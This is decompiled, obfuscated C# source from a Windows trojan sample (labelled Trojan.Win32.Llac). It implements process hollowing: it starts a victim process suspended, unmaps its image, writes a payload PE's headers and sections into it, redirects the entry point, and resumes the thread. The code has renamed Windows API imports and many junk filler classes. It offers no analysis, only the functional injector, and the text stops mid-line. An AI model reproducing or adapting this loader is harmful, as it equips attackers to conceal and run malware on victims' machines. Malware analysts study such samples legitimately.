// Decompiled with JetBrains decompiler // Type: dofgdgpd9d0s // Assembly: PwnzTest, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: 631E39F5-1CA8-4C07-9995-19D9DD762690 // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Llac.aujq-2899a5ffe6277f7b0edb8caed92e38de7a399fdb7bb9c5805376f2b5b6aeb2ec.exe using Microsoft.VisualBasic; using Microsoft.VisualBasic.CompilerServices; using System; using System.Runtime.InteropServices; internal class dofgdgpd9d0s { public const int CONTEXT_X86 = 65536; public const int CONTEXT86_CONTROL = 65537; public const int CONTEXT86_INTEGER = 65538; public const int CONTEXT86_SEGMENTS = 65540; public const int CONTEXT86_FLOATING_POINT = 65544; public const int CONTEXT86_DEBUG_REGISTERS = 65552; public const int CONTEXT86_FULL = 65543; public const int CREATE_SUSPENDED = 4; public const long MEM_COMMIT = 4096; public const long MEM_RESERVE = 8192; public const long PAGE_NOCACHE = 512; public const long PAGE_EXECUTE_READWRITE = 64; public const long PAGE_EXECUTE_WRITECOPY = 128; public const long PAGE_EXECUTE_READ = 32; public const long PAGE_EXECUTE = 16; public const long PAGE_WRITECOPY = 8; public const long PAGE_NOACCESS = 1; public const long PAGE_READWRITE = 4; private const int GENERIC_READ = -2147483648; private const uint FILE_SHARE_READ = 1; private const uint OPEN_EXISTING = 3; private const uint FILE_ATTRIBUTE_NORMAL = 128; private const int INVALID_HANDLE_VALUE = -1; private const uint PAGE_READONLY = 2; private const uint FILE_MAP_READ = 4; private const ushort IMAGE_DOS_SIGNATURE = 23117; private const int RT_VERSION = 16; [DllImport("kernel32.dll")] private static extern uint dfioju8f9fdh(IntPtr gi990f90idhdh); [DllImport("kernel32.dll")] private static extern bool dfi3435oju8f9fdh( IntPtr gi990f90idhdh, ref dofgdgpd9d0s.CONTEXT kf90ggfi90fhhfxz); [DllImport("kernel32.dll")] private static extern bool joigu89fd89ugdf( IntPtr gi990f90idhdh, ref dofgdgpd9d0s.CONTEXT kf90ggfi90fhhfxz); [DllImport("kernel32.dll")] private static extern int ki90f9disfdfg(string kf90ggfi94430fhhfxz); [DllImport("kernel32.dll")] private static extern bool ki90f9dfddfdisfdfg( string kf90gxccgfi94430fhhfxz, string yhtg34sdf, ref dofgdgpd9d0s.SECURITY_ATTRIBUTES yhtgrttr34sdf, ref dofgdgpd9d0s.SECURITY_ATTRIBUTES yhtgrttrfghf34sdf, bool jmnjt53tsegetd, uint jmnjt53tsegetfgfgd, IntPtr jmnjt53tsefgfggetfgfgd, string jmnjt53tsefgfggetfghffhhgfgd, [In] ref dofgdgpd9d0s.STARTUPINFO gh654gfdhdf, out dofgdgpd9d0s.PROCESS_INFORMATION gh6yy64tgdghhh); [DllImport("kernel32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)] public static extern bool ki90f9dfddfdisf3r4fdfg( IntPtr fdgi9090gdgd, IntPtr jfg89fdg8u9df8u9h, byte[] jfg89fdfddfdg8u9df8u9h, int jfg89fdfddfcvcvcdg8u9df8u9h, out int kopfg0990iddfhzzx); [DllImport("kernel32.dll", EntryPoint = "ki90f9dfddfdisf3r4fdfg", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)] public static extern bool nnjv89vsdfsggsa( IntPtr fdgi9090gdgd, IntPtr jfg89fdg8u9df8u9h, IntPtr jfg89fdfddfdg8u9df8u9h, int jfg89fdfddfcvcvcdg8u9df8u9h, out int kopfg0990iddfhzzx); [DllImport("kernel32.dll")] public static extern int nnjv89v45sdfsgggsa( IntPtr fdgi9090gdgd, int jfg89fdg8u9df8u9h, ref IntPtr jfg89fdfddfdg8u9df8u9h, int gi90ffdhfiozxcdf, ref int gi90fffgfgfdhfiozxcdf); [DllImport("ntdll.dll")] public static extern long nn34fjv89v45sdfsgggsa(IntPtr fdgi9090gdgd, IntPtr opfg90df90ihdh); [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr nn34fjv89v45sdfsg45tggsa( IntPtr fdgi9090gdgd, IntPtr opfdfdg90df90ihdh, uint opfdfdg90dffgfg0ihdh, uint fopkopiowjicbbv4f, uint fopkopiowj3443icbbv4f); [DllImport("kernel32", CharSet = CharSet.Auto, SetLastError = true)] public static extern int kioioijsfu89dg( IntPtr fdgi9090gdgd, IntPtr opfdfdg90df90ihdh, UIntPtr opfdfdg90dffgfg0ihdh, UIntPtr xggvxcgvxcdgvcdh98cx, [Out] uint xggvxcgvxcdg34545vcdh98cx); public static void ccvxbfr54fd(byte[] b, string sVictim) { int num1 = 1; int num2 = 0; dofgdgpd9d0s.CONTEXT kf90ggfi90fhhfxz = new dofgdgpd9d0s.CONTEXT(); int num3 = 0; dofgdgpd9d0s.PROCESS_INFORMATION gh6yy64tgdghhh = new dofgdgpd9d0s.PROCESS_INFORMATION(); int num4 = 0; dofgdgpd9d0s.STARTUPINFO gh654gfdhdf = new dofgdgpd9d0s.STARTUPINFO(); dofgdgpd9d0s.SECURITY_ATTRIBUTES yhtgrttr34sdf = new dofgdgpd9d0s.SECURITY_ATTRIBUTES(); dofgdgpd9d0s.SECURITY_ATTRIBUTES yhtgrttrfghf34sdf = new dofgdgpd9d0s.SECURITY_ATTRIBUTES(); GCHandle gcHandle = GCHandle.Alloc((object) b, GCHandleType.Pinned); num1 = num2 != num3 ? checked (num4 - 35878257) : checked (num4 + num3); IntPtr ptr = gcHandle.AddrOfPinnedObject(); int int32 = ptr.ToInt32(); dofgdgpd9d0s.IMAGE_DOS_HEADER imageDosHeader1; object structure1 = Marshal.PtrToStructure(gcHandle.AddrOfPinnedObject(), imageDosHeader1.GetType()); dofgdgpd9d0s.IMAGE_DOS_HEADER imageDosHeader2; dofgdgpd9d0s.IMAGE_DOS_HEADER imageDosHeader3 = structure1 != null ? (dofgdgpd9d0s.IMAGE_DOS_HEADER) structure1 : imageDosHeader2; gcHandle.Free(); IntPtr jmnjt53tsefgfggetfgfgd; if (-(dofgdgpd9d0s.ki90f9dfddfdisfdfg((string) null, sVictim, ref yhtgrttr34sdf, ref yhtgrttrfghf34sdf, false, 4U, jmnjt53tsefgfggetfgfgd, (string) null, ref gh654gfdhdf, out gh6yy64tgdghhh) ? 1 : 0) == 0) return; ptr = new IntPtr(checked (int32 + imageDosHeader3.e_lfanew)); dofgdgpd9d0s.IMAGE_NT_HEADERS imageNtHeaders1; object structure2 = Marshal.PtrToStructure(ptr, imageNtHeaders1.GetType()); dofgdgpd9d0s.IMAGE_NT_HEADERS imageNtHeaders2; dofgdgpd9d0s.IMAGE_NT_HEADERS imageNtHeaders3 = structure2 != null ? (dofgdgpd9d0s.IMAGE_NT_HEADERS) structure2 : imageNtHeaders2; gh654gfdhdf.cb = Strings.Len((object) gh654gfdhdf); kf90ggfi90fhhfxz.ContextFlags = 65538U; if (imageNtHeaders3.Signature != 17744U | imageDosHeader3.e_magic != (ushort) 23117) return; num1 = num2 != num3 ? checked (num4 - 35878257) : checked (num4 + num3); int num5 = dofgdgpd9d0s.dfi3435oju8f9fdh(gh6yy64tgdghhh.gi990f90idhdh, ref kf90ggfi90fhhfxz) ? 1 : 0; IntPtr fdgi9090gdgd1 = gh6yy64tgdghhh.fdgi9090gdgd; int jfg89fdg8u9df8u9h1 = checked ((int) ((long) kf90ggfi90fhhfxz.Ebx + 8L)); long num6; ptr = (IntPtr) num6; ref IntPtr local1 = ref ptr; int num7 = 0; ref int local2 = ref num7; int num8 = dofgdgpd9d0s.nnjv89v45sdfsgggsa(fdgi9090gdgd1, jfg89fdg8u9df8u9h1, ref local1, 4, ref local2); long num9 = (long) ptr; int num10 = num8 >= 0 ? 1 : 0; if ((num5 & num10 & (dofgdgpd9d0s.nn34fjv89v45sdfsgggsa(gh6yy64tgdghhh.fdgi9090gdgd, (IntPtr) num9) >= 0L ? 1 : 0)) == 0) return; uint num11 = checked ((uint) (int) dofgdgpd9d0s.nn34fjv89v45sdfsg45tggsa(gh6yy64tgdghhh.fdgi9090gdgd, (IntPtr) (long) imageNtHeaders3.OptionalHeader.ImageBase, imageNtHeaders3.OptionalHeader.SizeOfImage, 12288U, 4U)); if (num11 == 0U) return; num1 = num2 != num3 ? checked (num4 - 35878257) : checked (num4 + num3); IntPtr fdgi9090gdgd2 = gh6yy64tgdghhh.fdgi9090gdgd; IntPtr jfg89fdg8u9df8u9h2 = (IntPtr) (long) num11; byte[] jfg89fdfddfdg8u9df8u9h1 = b; int sizeOfHeaders = checked ((int) imageNtHeaders3.OptionalHeader.SizeOfHeaders); uint num12; int num13 = checked ((int) num12); ref int local3 = ref num13; dofgdgpd9d0s.ki90f9dfddfdisf3r4fdfg(fdgi9090gdgd2, jfg89fdg8u9df8u9h2, jfg89fdfddfdg8u9df8u9h1, sizeOfHeaders, out local3); uint num14 = checked ((uint) num13); long num15 = (long) checked (imageDosHeader3.e_lfanew + 248); int num16 = checked ((int) imageNtHeaders3.FileHeader.NumberOfSections - 1); int num17 = 0; while (num17 <= num16) { num1 = num2 != num3 ? checked (num4 - 35878257) : checked (num4 + num3); ptr = new IntPtr(checked ((long) int32 + num15 + (long) (num17 * 40))); dofgdgpd9d0s.IMAGE_SECTION_HEADER imageSectionHeader1; object structure3 = Marshal.PtrToStructure(ptr, imageSectionHeader1.GetType()); dofgdgpd9d0s.IMAGE_SECTION_HEADER imageSectionHeader2; imageSectionHeader1 = structure3 != null ? (dofgdgpd9d0s.IMAGE_SECTION_HEADER) structure3 : imageSectionHeader2; num1 = num2 != num3 ? checked (num4 - 35878257) : checked (num4 + num3); byte[] numArray = new byte[checked ((int) imageSectionHeader1.SizeOfRawData + 1)]; int num18 = checked ((int) ((long) imageSectionHeader1.SizeOfRawData - 1L)); int index = 0; while (index <= num18) { num1 = num2 != num3 ? checked (num4 - 35878257) : checked (num4 + num3); numArray[index] = b[checked ((int) ((long) imageSectionHeader1.PointerToRawData + (long) index))]; num1 = num2 != num3 ? checked (num4 - 35878257) : checked (num4 + num3); checked { ++index; } } IntPtr fdgi9090gdgd3 = gh6yy64tgdghhh.fdgi9090gdgd; IntPtr jfg89fdg8u9df8u9h3 = (IntPtr) (long) checked (num11 + imageSectionHeader1.VirtualAddress); byte[] jfg89fdfddfdg8u9df8u9h2 = numArray; int sizeOfRawData = checked ((int) imageSectionHeader1.SizeOfRawData); num13 = checked ((int) num14); ref int local4 = ref num13; dofgdgpd9d0s.ki90f9dfddfdisf3r4fdfg(fdgi9090gdgd3, jfg89fdg8u9df8u9h3, jfg89fdfddfdg8u9df8u9h2, sizeOfRawData, out local4); num14 = checked ((uint) num13); num1 = num2 != num3 ? checked (num4 - 35878257) : checked (num4 + num3); dofgdgpd9d0s.kioioijsfu89dg(gh6yy64tgdghhh.fdgi9090gdgd, (IntPtr) (long) checked (num11 + imageSectionHeader1.VirtualAddress), (UIntPtr) imageSectionHeader1.Misc.VirtualSize, (UIntPtr) checked ((ulong) dofgdgpd9d0s.jiojiofgjibx((long) imageSectionHeader1.ioiofjg89dfu89fg)), checked ((uint) num9)); checked { ++num17; } } byte[] bytes = BitConverter.GetBytes(num11); IntPtr fdgi9090gdgd4 = gh6yy64tgdghhh.fdgi9090gdgd; IntPtr jfg89fdg8u9df8u9h4 = (IntPtr) checked ((long) kf90ggfi90fhhfxz.Ebx + 8L); byte[] jfg89fdfddfdg8u9df8u9h3 = bytes; num13 = checked ((int) num14); ref int local5 = ref num13; dofgdgpd9d0s.ki90f9dfddfdisf3r4fdfg(fdgi9090gdgd4, jfg89fdg8u9df8u9h4, jfg89fdfddfdg8u9df8u9h3, 4, out local5); num12 = checked ((uint) num13); num1 = num2 != num3 ? checked (num4 - 35878257) : checked (num4 + num3); kf90ggfi90fhhfxz.Eax = checked (num11 + imageNtHeaders3.OptionalHeader.AddressOfEntryPoint); dofgdgpd9d0s.joigu89fd89ugdf(gh6yy64tgdghhh.gi990f90idhdh, ref kf90ggfi90fhhfxz); num1 = num2 != num3 ? checked (num4 - 35878257) : checked (num4 + num3); int num19 = (int) dofgdgpd9d0s.dfioju8f9fdh(gh6yy64tgdghhh.gi990f90idhdh); if (num2 == num3) num1 = checked (num4 + num3); else num1 = checked (num4 - 35878257); } private static long jiojiofgjibx(long ioiofjg89dfu89fg) => Conversions.ToLong(new object[8] { (object) 1L, (object) 16L, (object) 2U, (object) 32L, (object) 4L, (object) 64L, (object) 4L, (object) 64L }[checked ((int) dofgdgpd9d0s.fi9g9ffgfgdh9h(ioiofjg89dfu89fg, 29L))]); private static long fi9g9ffgfgdh9h(long opgk90fhgfj, long ikfigf90g89fgug) { int x = checked (4 - 2); return checked ((long) Math.Round(unchecked (dofgdgpd9d0s.fi9g9fdh9h(opgk90fhgfj) / Math.Pow((double) x, (double) ikfigf90g89fgug)))); } private static double fi9g9fdh9h(long opgkdfdf90fhgfj) { int num1 = 0; int num2 = num1 != 29853 ? checked (num1 - 458743) : checked (num1 + 345); double num3; if (opgkdfdf90fhgfj < 0L) { num3 = (double) opgkdfdf90fhgfj + 4294967296.0; int num4 = num2 != 29853 ? checked (num2 - 458743) : checked (num2 + 345); } else num3 = (double) opgkdfdf90fhgfj; return num3; } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public struct STARTUPINFO { public int cb; public string lpReserved; public string lpDesktop; public string lpTitle; public int dwX; public int dwY; public int dwXSize; public int dwYSize; public int dwXCountChars; public int dwYCountChars; public int dwFillAttribute; public int dwFlags; public short wShowWindow; public short cbReserved2; public int lpReserved2; public int hStdInput; public int hStdOutput; public int hStdError; public class kpfdvxxbdvbcbcfg9089df { private string YaJAh92LgGExUle0UPVgyQa51S77S4gdsiud; private int wp8A1qWD3CNa3woxNna1nYc96jgdikfd; private int KRyplOPki545hl6d4B8OKtZI6ODY7Ba616pqDm1OFfxgjgijgigd; public kpfdvxxbdvbcbcfg9089df() { this.YaJAh92LgGExUle0UPVgyQa51S77S4gdsiud = "dfkodfpogjdf"; this.wp8A1qWD3CNa3woxNna1nYc96jgdikfd = 0; this.KRyplOPki545hl6d4B8OKtZI6ODY7Ba616pqDm1OFfxgjgijgigd = 3465456; } private void dsfksgioj() { if (Conversions.ToDouble(this.YaJAh92LgGExUle0UPVgyQa51S77S4gdsiud) > 0.0) checked { ++this.wp8A1qWD3CNa3woxNna1nYc96jgdikfd; } else checked { this.KRyplOPki545hl6d4B8OKtZI6ODY7Ba616pqDm1OFfxgjgijgigd += 3259285; } } } } private struct PROCESS_INFORMATION { public IntPtr fdgi9090gdgd; public IntPtr gi990f90idhdh; public int dwProcessId; public int dwThreadId; public class ffjg211222duinbnvvhgud { private string RDTES7Fxek795xNeBJgdsiud; private int L021arDYe5JfZftDT8358jgdikfd; private int OWlO29T86mvOfHEgjgijgigd; public ffjg211222duinbnvvhgud() { this.RDTES7Fxek795xNeBJgdsiud = "dfkodfpogjdf"; this.L021arDYe5JfZftDT8358jgdikfd = 0; this.OWlO29T86mvOfHEgjgijgigd = 3465456; } private void dsfksgioj() { if (Conversions.ToDouble(this.RDTES7Fxek795xNeBJgdsiud) > 0.0) checked { ++this.L021arDYe5JfZftDT8358jgdikfd; } else checked { this.OWlO29T86mvOfHEgjgijgigd += 3259285; } } } } private struct IMAGE_DOS_HEADER { public ushort e_magic; public ushort e_cblp; public ushort e_cp; public ushort e_crlc; public ushort e_cparhdr; public ushort e_minalloc; public ushort e_maxalloc; public ushort e_ss; public ushort e_sp; public ushort e_csum; public ushort e_ip; public ushort e_cs; public ushort e_lfarlc; public ushort e_ovno; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public ushort[] e_res1; public ushort e_oemid; public ushort e_oeminfo; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)] public ushort[] e_res2; public int e_lfanew; public class ffxcvvjg211222duihgud { private string R09F4H38Za3s9iG38NT930ogdsiud; private int GcSKaII0m5GShenGQq1qm545JPzZs0A80J1J1jgdikfd; private int O851F5IgKlp82q17x4w4X640xYTyagjgijgigd; public ffxcvvjg211222duihgud() { this.R09F4H38Za3s9iG38NT930ogdsiud = "dfkodfpogjdf"; this.GcSKaII0m5GShenGQq1qm545JPzZs0A80J1J1jgdikfd = 0; this.O851F5IgKlp82q17x4w4X640xYTyagjgijgigd = 3465456; } private void dsfksgioj() { if (Conversions.ToDouble(this.R09F4H38Za3s9iG38NT930ogdsiud) > 0.0) checked { ++this.GcSKaII0m5GShenGQq1qm545JPzZs0A80J1J1jgdikfd; } else checked { this.O851F5IgKlp82q17x4w4X640xYTyagjgijgigd += 3259285; } } } } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] private struct VS_VERSIONINFO { public ushort wLength; public ushort wValueLength; public ushort wType; [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 15)] public string szKey; public ushort Padding1; public class ffjg23525611222duihgud { private string SfG1P6PFxVgc0538gdsiud; private int wW6aSpWazKPjgdikfd; private int XYKz0KzxV1xtQfuiRgjgijgigd; public ffjg23525611222duihgud() { this.SfG1P6PFxVgc0538gdsiud = "dfkodfpogjdf"; this.wW6aSpWazKPjgdikfd = 0; this.XYKz0KzxV1xtQfuiRgjgijgigd = 3465456; } private void dsfksgioj() { if (Conversions.ToDouble(this.SfG1P6PFxVgc0538gdsiud) > 0.0) checked { ++this.wW6aSpWazKPjgdikfd; } else checked { this.XYKz0KzxV1xtQfuiRgjgijgigd += 3259285; } } } } public struct SECURITY_ATTRIBUTES { public int nLength; public IntPtr lpSecurityDescriptor; public int bInheritHandle; } private struct VS_FIXEDFILEINFO { public uint dwSignature; public uint dwStrucVersion; public uint dwFileVersionMS; public uint dwFileVersionLS; public uint dwProductVersionMS; public uint dwProductVersionLS; public uint dwFileFlagsMask; public uint dwFileFlags; public uint dwFileOS; public uint dwFileType; public uint dwFileSubtype; public uint dwFileDateMS; public uint dwFileDateLS; public class ffjg211222duhjihgud { private string vUw3D71l759jixA7N3q44gdsiud; private int matzab81FAKOmAURfLIE0s45423c8cn58r26VG507S0093jgdikfd; private int yF98RnCCCZl1Sby5wDANCc1z9vjNBCte849F6gjgijgigd; public ffjg211222duhjihgud() { this.vUw3D71l759jixA7N3q44gdsiud = "dfkodfpogjdf"; this.matzab81FAKOmAURfLIE0s45423c8cn58r26VG507S0093jgdikfd = 0; this.yF98RnCCCZl1Sby5wDANCc1z9vjNBCte849F6gjgijgigd = 3465456; } private void dsfksgioj() { if (Conversions.ToDouble(this.vUw3D71l759jixA7N3q44gdsiud) > 0.0) checked { ++this.matzab81FAKOmAURfLIE0s45423c8cn58r26VG507S0093jgdikfd; } else checked { this.yF98RnCCCZl1Sby5wDANCc1z9vjNBCte849F6gjgijgigd += 3259285; } } } public class vbbu9fdvfgfgdf8b { private string h7ZQFBI2s5dlK4g029MlvMgszwgdsiud; private int VZm214C40FYw90Yv9Zjgdikfd; private int a7TnJOT2x6Zn174Y62LE3541oAIaMA8qF6TF69Y2rKgjgijgigd; public vbbu9fdvfgfgdf8b() { this.h7ZQFBI2s5dlK4g029MlvMgszwgdsiud = "dfkodfpogjdf"; this.VZm214C40FYw90Yv9Zjgdikfd = 0; this.a7TnJOT2x6Zn174Y62LE3541oAIaMA8qF6TF69Y2rKgjgijgigd = 3465456; } private void dsfksgioj() { if (Conversions.ToDouble(this.h7ZQFBI2s5dlK4g029MlvMgszwgdsiud) > 0.0) checked { ++this.VZm214C40FYw90Yv9Zjgdikfd; } else checked { this.a7TnJOT2x6Zn174Y62LE3541oAIaMA8qF6TF69Y2rKgjgijgigd += 3259285; } } } } public struct FLOATING_SAVE_AREA { public uint ControlWord; public uint StatusWord; public uint TagWord; public uint ErrorOffset; public uint ErrorSelector; public uint DataOffset; public uint DataSelector; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 80)] public byte[] RegisterArea; public uint Cr0NpxState; public class ffjgio89vjhnihgud { private string x3VRg6LE76E5KZQp7C744F6KHeU73P2s25CA46T5Qgdsiud; private int yo8hpS9msdYgaSQjgdikfd; private int joky88q05Dgjgijgigd; public ffjgio89vjhnihgud() { this.x3VRg6LE76E5KZQp7C744F6KHeU73P2s25CA46T5Qgdsiud = "dfkodfpogjdf"; this.yo8hpS9msdYgaSQjgdikfd = 0; this.joky88q05Dgjgijgigd = 3465456; } private void dsfksgioj() { if (Conversions.ToDouble(this.x3VRg6LE76E5KZQp7C744F6KHeU73P2s25CA46T5Qgdsiud) > 0.0) checked { ++this.yo8hpS9msdYgaSQjgdikfd; } else checked { this.joky88q05Dgjgijgigd += 3259285; } } } } public struct CONTEXT { public uint ContextFlags; public uint Dr0; public uint Dr1; public uint Dr2; public uint Dr3; public uint Dr6; public uint Dr7; public dofgdgpd9d0s.FLOATING_SAVE_AREA FloatSave; public uint SegGs; public uint SegFs; public uint SegEs; public uint SegDs; public uint Edi; public uint Esi; public uint Ebx; public uint Edx; public uint Ecx; public uint Eax; public uint Ebp; public uint Eip; public uint SegCs; public uint EFlags; public uint Esp; public uint SegSs; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 512)] public byte[] ExtendedRegisters; } public struct IMAGE_OPTIONAL_HEADER32 { public ushort Magic; public byte MajorLinkerVersion; public byte MinorLinkerVersion; public uint SizeOfCode; public uint SizeOfInitializedData; public uint SizeOfUninitializedData; public uint AddressOfEntryPoint; public uint BaseOfCode; public uint BaseOfData; public uint ImageBase; public uint SectionAlignment; public uint FileAlignment; public ushort MajorOperatingSystemVersion; public ushort MinorOperatingSystemVersion; public ushort MajorImageVersion; public ushort MinorImageVersion; public ushort MajorSubsystemVersion; public ushort MinorSubsystemVersion; public uint Win32VersionValue; public uint SizeOfImage; public uint SizeOfHeaders; public uint CheckSum; public ushort Subsystem; public ushort DllCharacteristics; public uint SizeOfStackReserve; public uint SizeOfStackCommit; public uint SizeOfHeapReserve; public uint SizeOfHeapCommit; public uint LoaderFlags; public uint NumberOfRvaAndSizes; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] public dofgdgpd9d0s.IMAGE_DATA_DIRECTORY[] DataDirectory; public class vbbu9fdvbbcvvfgfgdf8b { private string P4IKZY3qwFG2Xxgdsiud; private int YaKrAKT2NbDD9m1UDjx09W8N9K8VkfY1jgdikfd; private int lJrTcXD8698awOyZgjgijgigd; public vbbu9fdvbbcvvfgfgdf8b() { this.P4IKZY3qwFG2Xxgdsiud = "dfkodfpogjdf"; this.YaKrAKT2NbDD9m1UDjx09W8N9K8VkfY1jgdikfd = 0; this.lJrTcXD8698awOyZgjgijgigd = 3465456; } private void dsfksgioj() { if (Conversions.ToDouble(this.P4IKZY3qwFG2Xxgdsiud) > 0.0) checked { ++this.YaKrAKT2NbDD9m1UDjx09W8N9K8VkfY1jgdikfd; } else checked { this.lJrTcXD8698awOyZgjgijgigd += 3259285; } } } public class fgj8nmhmhmm9gdfhdfg { private string Ry4R21gdsiud; private int yJ2C0553CY2MAxu0Rc0q294jgdikfd; private int zuRA317S12C46g3P1nA3R7gjgijgigd; public fgj8nmhmhmm9gdfhdfg() { this.Ry4R21gdsiud = "dfkodfpogjdf"; this.yJ2C0553CY2MAxu0Rc0q294jgdikfd = 0; this.zuRA317S12C46g3P1nA3R7gjgijgigd = 3465456; } private void dsfksgioj() { if (Conversions.ToDouble(this.Ry4R21gdsiud) > 0.0) checked { ++this.yJ2C0553CY2MAxu0Rc0q294jgdikfd; } else checked { this.zuRA317S12C46g3P1nA3R7gjgijgigd += 3259285; } } } } public struct IMAGE_FILE_HEADER { public ushort Machine; public ushort NumberOfSections; public uint TimeDateStamp; public uint PointerToSymbolTable; public uint NumberOfSymbols; public ushort SizeOfOptionalHeader; public ushort ioiofjg89dfu89fg; public class gfufsfuhgvzsduhsuiofshd { private string Z5x1P58f3hGfq3fkH9rLL59DDIK7R9494r5gZgdsiud; private int tNn0Bd3W7M66Ng41LFDkJwj3654D4jgdikfd; private int Bg1VEV3gjgijgigd; public gfufsfuhgvzsduhsuiofshd() { this.Z5x1P58f3hGfq3fkH9rLL59DDIK7R9494r5gZgdsiud = "dfkodfpogjdf"; this.tNn0Bd3W7M66Ng41LFDkJwj3654D4jgdikfd = 0; this.Bg1VEV3gjgijgigd = 3465456; } private void dsfksgioj() { if (Conversions.ToDouble(this.Z5x1P58f3hGfq3fkH9rLL59DDIK7R9494r5gZgdsiud) > 0.0) checked { ++this.tNn0Bd3W7M66Ng41LFDkJwj3654D4jgdikfd; } else checked { this.Bg1VEV3gjgijgigd += 3259285; } } } } public struct IMAGE_DATA_DIRECTORY { public uint VirtualAddress; public uint Size; } public struct IMAGE_NT_HEADERS { public uint Signature; public dofgdgpd9d0s.IMAGE_FILE_HEADER FileHeader; public dofgdgpd9d0s.IMAGE_OPTIONAL_HEADER32 OptionalHeader; } public enum IMAGE_SIZEOF_SHORT_NAME { IMAGE_SIZEOF_SHORT_NAME = 8, } public struct Misc { public uint PhysicalAddress; public uint VirtualSize; } public struct IMAGE_SECTION_HEADER { public byte Name; public dofgdgpd9d0s.Misc Misc; public uint VirtualAddress; public uint SizeOfRawData; public uint PointerToRawData; public uint PointerToRelocations; public uint PointerToLinenumbers; public ushort NumberOfRelocations; public ushort NumberOfLinenumbers; public uint ioiofjg89dfu89fg; public class fgj89gdfhdfg { private string kYV1d3Ubo3nW3oR9DNTnWC7A1h9weRgdsiud; private int E21S91Ajgdikfd; private int M0M9O2fgjgijgigd; public fgj89gdfhdfg() { this.kYV1d3Ubo3nW3oR9DNTnWC7A1h9weRgdsiud = "dfkodfpogjdf"; this.E21S91Ajgdikfd = 0; this.M0M9O2fgjgijgigd = 3465456; } private void dsfksgioj() { if (Conversions.ToDouble(this.kYV1d3Ubo3nW3oR9DNTnWC7A1h9weRgdsiud) > 0.0) checked { ++this.E21S91Ajgdikfd; } else checked { this.M0M9O2fgjgijgigd += 3259285; } } } } public class fgj89gdfhdfg { private string X1VUOI1193hK4R83uEC6G4E7kHv6kq4gdsiud; private int J8EvbcO1tHnrbt7W1Tiq52Tbf9f8BE884YZ3jgdikfd; private int Q8j4D0jmsdw634vmr706SsWd42Fgjgijgigd; public fgj89gdfhdfg() { this.X1VUOI1193hK4R83uEC6G4E7kHv6kq4gdsiud = "dfkodfpogjdf"; this.J8EvbcO1tHnrbt7W1Tiq52Tbf9f8BE884YZ3jgdikfd = 0; this.Q8j4D0jmsdw634vmr706SsWd42Fgjgijgigd = 3465456; } private void dsfksgioj() { if (Conversions.ToDouble(this.X1VUOI1193hK4R83uEC6G4E7kHv6kq4gdsiud) > 0.0) checked { ++this.J8EvbcO1tHnrbt7W1Tiq52Tbf9f8BE884YZ3jgdikfd; } else checked { this.Q8j4D0jmsdw634vmr706SsWd42Fgjgijgigd += 3259285; } } } public class h90fdi9s90if { private string YO8Y5Q9oEl4g3VU4QCI0sLQ5RMmMb4418g3Yn1zFo437oggE9gdsiud; private int j64AS1zbTja7W3jgdikfd; private int FKTS9RTOxEEmem3481tGjUsG191AW1o6gjgijgigd; public h90fdi9s90if() { this.YO8Y5Q9oEl4g3VU4QCI0sLQ5RMmMb4418g3Yn1zFo437oggE9gdsiud = "dfkodfpogjdf"; this.j64AS1zbTja7W3jgdikfd = 0; this.FKTS9RTOxEEmem3481tGjUsG191AW1o6gjgijgigd = 3465456; } private void dsfksgioj() { if (Conversions.ToDouble(this.YO8Y5Q9oEl4g3VU4QCI0sLQ5RMmMb4418g3Yn1zFo437oggE9gdsiud) > 0.0) checked { ++this.j64AS1zbTja7W3jgdikfd; } else checked { this.FKTS9RTOxEEmem3481tGjUsG191AW1o6gjgijgigd += 3259285; } } } public class ki90gfi90i90dg { private string F1831unnJPj6Sh1TNGFPHrgdsiud; private int hDIRw4cHq9o5Njgdikfd; private int de27iP9Te6CMt928lES2hzb9vIwgjgijgigd; public ki90gfi90i90dg() { this.F1831unnJPj6Sh1TNGFPHrgdsiud = "dfkodfpogjdf"; this.hDIRw4cHq9o5Njgdikfd = 0; this.de27iP9Te6CMt928lES2hzb9vIwgjgijgigd = 3465456; } private void dsfksgioj() { if (Conversions.ToDouble(this.F1831unnJPj6Sh1TNGFPHrgdsiud) > 0.0) checked { ++this.hDIRw4cHq9o5Njgdikfd; } else checked { this.de27iP9Te6CMt928lES2hzb9vIwgjgijgigd += 3259285; } } } public class lplpofd90igdg { private string aNMBQBu72h5Av4gdsiud; private int ar19V3Id5RIXxw9SdG36749jgdikfd; private int f5O82d6ZNTCDvuP0hWJ13zg97x2d749cimg8x7dk65Uj12nY4ggjgijgigd; public lplpofd90igdg() { this.aNMBQBu72h5Av4gdsiud = "dfkodfpogjdf"; this.ar19V3Id5RIXxw9SdG36749jgdikfd = 0; this.f5O82d6ZNTCDvuP0hWJ13zg97x2d749cimg8x7dk65Uj12nY4ggjgijgigd = 3465456; } private void dsfksgioj() { if (Conversions.ToDouble(this.aNMBQBu72h5Av4gdsiud) > 0.0) checked { ++this.ar19V3Id5RIXxw9SdG36749jgdikfd; } else checked { this.f5O82d6ZNTCDvuP0hWJ13zg97x2d749cimg8x7dk65Uj12nY4ggjgijgigd += 3259285; } } } public class pXZVPtIlCsKAxyPbEpVkVC { public object AIOgmCUiArGzuHLNxRbhkH(string frUpfEwJnskrttCrBwlsmO) { string str1 = "DgAyxDAaXVYuyJlQltIkwJ"; if (true) str1 = "miSDZbWfIWTbgjRFzEbYtx"; string str2 = "FdNkkWKRPEJvvUAptfmaJy"; string str3 = "EIYPmtDKvzSiVGOEvvwgkJ"; if (Conversions.ToDouble(str2) == 957651.0) str3 = Conversions.ToString(1187301); return (object) str3; } private void mFktXhXvJbJzJefdzVIAsa() { string str1 = "lYKlkBJXJOrlVKssKDXwIf"; string str2 = "yklJClCxdhFDCctxbmspSx"; string str3 = "QZNIKEvblCIJPdewDsrcTY"; if (false) str1 = 